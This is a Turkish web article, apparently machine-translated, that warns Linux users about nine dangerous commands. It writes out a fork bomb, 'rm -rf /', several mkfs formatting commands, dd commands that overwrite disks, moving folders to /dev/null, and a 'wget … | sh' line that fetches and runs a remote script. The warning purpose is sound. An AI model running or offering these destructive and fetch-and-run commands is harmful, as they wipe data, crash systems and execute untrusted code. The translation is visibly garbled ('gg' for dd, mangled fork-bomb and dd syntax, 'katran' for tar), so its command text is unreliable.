9 Dikkat Edilecek Linux Komut ve Kodları
Linux kabuk / terminal komutları çok güçlü ve sadece basit bir komut, birinin bir klasörü, dosyaları veya kök klasörü vb. silmesine yol açabilir..
Bazı durumlarda, Linux sizden onay istemeyecektir, bunun yerine hemen komutun yerine getirilmesine neden olacaktır. değerli veri ve bilgileri kaybetmek bu dosya ve klasörlerde saklanır.
İnsanların web’de içerik yayınlaması yaygındır. Yeni Linux kullanıcılarına bu komutları uygulamalarını tavsiye etme. Bu, içeriği yayınlayan biri için şaka gibi görünebilir ancak diğer taraftaki kişi için gülünç bir sorun değildir.
Sisteminizden, bunlardan kaçınmanıza yardımcı olacak oldukça zararlı bazı Linux komutları topladık. Gerçekten tehlikeli olduklarını ve yeni komutlar üretmek için çeşitli şekillerde bile değiştirilebilir daha fazla zarar vermek.
Unutulmaması gereken önemli bir şey Bu komutların bazıları sadece Ubuntu'da sudo ile önceden yazılmışlarsa tehlikelidir. Linux'un diğer dağıtımlarında, verilen bu komutların çoğu, root olarak çalıştırılması tehlikeli olacaktır..
Bir göz atın 9 komut ve kod çalıştırmaktan kaçınmalısınız.
1. Linux Çatal Bomba Komutanlığı
: () : |: & ;:
Ayrıca şöyle bilinir Çatal bomba Linux Sistemine yönelik hizmet reddi saldırısı. : () : |: & ;:
bir bash işlevidir. Bir kez idam edildi, sistem donuncaya kadar birden çok kez tekrar eder.
Ondan ancak sisteminizi yeniden başlatarak kurtulabilirsiniz. Bu komutu Linux kabuğunda çalıştırırken dikkatli ol..
2. mv klasörü / dev / null Komutanlığı
mv klasörü / dev / null
başka bir riskli komut. Dev / null
veya boş aygıt
olduğu Üzerine yazılan tüm verileri ayan ancak yazma işleminin başarıyla yürütüldüğünü bildiren bir aygıt dosyası. Olarak da bilinir biraz bozuk veya Kara delik.
3. rm -rf komutu
rm -rf
komut hızlı bir yoldur bir klasörü ve içeriğini sil Linux işletim sisteminde. Nasıl düzgün kullanılacağını bilmiyorsanız, sistem için çok tehlikeli olabilir. Rm-rf komutuyla kullanılan en yaygın kombinasyonlar ve seçenekler aşağıda listelenmiştir:
rm
Linux sistemindeki dosyaları silmek için komut kullanılır..rm -f
komutu klasördeki salt okunur dosyaları sormadan siler.rm -r
komutu bir klasörün içeriğini yinelemeli olarak siler.rm -d
boş bir dizini kaldırmak için komut kullanılır, ancak boş değilse dizini kaldırmayı reddeder.rm -rf /
root dizininde ve alt klasörlerdeki tüm içeriğin zorla silinmesi için kullanılır (yazmaya karşı korumalı olsa bile silinir).rm -rf *
komut, geçerli dizindeki (o anda çalışmakta olduğunuz dizin) ve alt klasörlerdeki tüm içeriğin zorla silinmesi için kullanılır..rm -rf.
komut, geçerli klasördeki ve alt klasörlerdeki tüm içeriğin zorla silinmesi için kullanılır.rm -r. [^.] *
komut da kullanılabilir.rm
dosya ve klasörlerin kaldırılması için komut kullanılır ancak kaldırmadan önce bir komut istemi görünecektir..
4. mkfs komutu
mkfs
amacını bilmiyorsanız Linux tabanlı sisteminiz için tehlikeli bir komut olabilir. Mkfs'den sonra yazılan her şey formatlanacak ve boş bir Linux dosya sistemi ile değiştirilecektir.
Aşağıda belirtilen tüm komutlar sabit sürücüyü biçimlendirir ve yönetici hakları gerektirir:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
Komuta mkfs.cramfs
yukarıdakiyle aynı şeyi yapacaktır ancak yürütmek için yönetici hakları gerektirmez.
5. Katran Bombası
katran
komutu, birden fazla dosyayı tek bir dosyada (arşivlenmiş dosya) birleştirmek için kullanılır. .katran biçim. Bu komutla bir Teyp Arşivi (Tar) bombası oluşturulabilir.
Bu mevcut dosyalara benzer adlara sahip isimleri binlerce ya da milyonlarca dosyaya aktaran bir klasör. yerine getirilmediğinde yeni bir dizine girmek yerine.
Tar bomba kurbanı olmaktan kaçınabilirsiniz. tar dosyasını aldığınızda düzenli olarak yeni bir koruyucu dizin oluşturabilirsiniz ve daha sonra, başlatılmadan önce alınan tar dosyasını bu dizine taşıma.
Eğer tar dosyası gerçekten bir tar bomba ise, ondan kurtulmak için yeni oluşturulan dizini kaldırabilirsiniz. Katran bombasının patlamasını önlemenin başka bir yolu da -t
tar dosyasının tüm içeriğini listeleme seçeneği tar dosyasının içinde bulunan içeriğin türü hakkında bir fikir vermek için.
6. dd komutu
gg
komut için kullanılır sabit disk bölümlerini kopyala ve dönüştür. Ancak yanlış hedefi belirlerseniz zararlı olabilir..
Komut bunlardan biri olabilir:
gg = = / dev / hda = / dev / hdb
dd eğer = / dev / hda = / dev / sdb
gg eğer = bir şey = / dev / hda
gg eğer = bir şey = / dev / sda
Aşağıdaki komut birincil sabit sürücünün tamamını sıfırlar: gg = = / dev / sıfır = / dev / had
7. Kabuk Betiği Kodu
Birisi seni mağdur edebilir sana bir kabuk betiğine link vermek ve onu indirmeni ve yürütmesini onaylıyor. Komut dosyası içinde bazı zararlı veya tehlikeli kodlar içerebilir. komut biçimi şuna benzeyebilir: wget http: // some_malicious_source -O- | sh
. wget
sh kod yürütme işlemini indirirken komut dosyasını indirir.
8. Kötü Amaçlı Kaynak Kodu
Birisi size kaynak kodunu verir ve sizden derlemenizi ister. Kod normal bir kod gibi görünebilir ancak aslında büyük kaynak kodunda bazı kötü amaçlı kodlar gizlenmiştir. ve sisteminize zarar verebilir. Bu tür bir saldırının mağdur edilmesini önlemek için, kaynak kodunuzu yalnızca güvenilir kaynaklardan kabul edin ve derleyin.
9. Dekompresyon Bombası
Sıkıştırılmış bir dosya aldınız ve sizden boyutu çok küçük olan fakat bir kaç KB olan bu dosyayı çıkarmanız isteniyor. Aslında, bu küçük boyutlu sıkıştırılmış dosya çok yüksek oranda sıkıştırılmış veri içeriyor.
Dosya sıkıştırıldıktan sonra, yüzlerce GB veri sabit sürücünüzü doldurabilir sisteminizin performansını düşürmek için. Bu durumdan kaçınmak için her zaman güvenilir kaynaklardan gelen verileri kabul etmeyi unutmayın..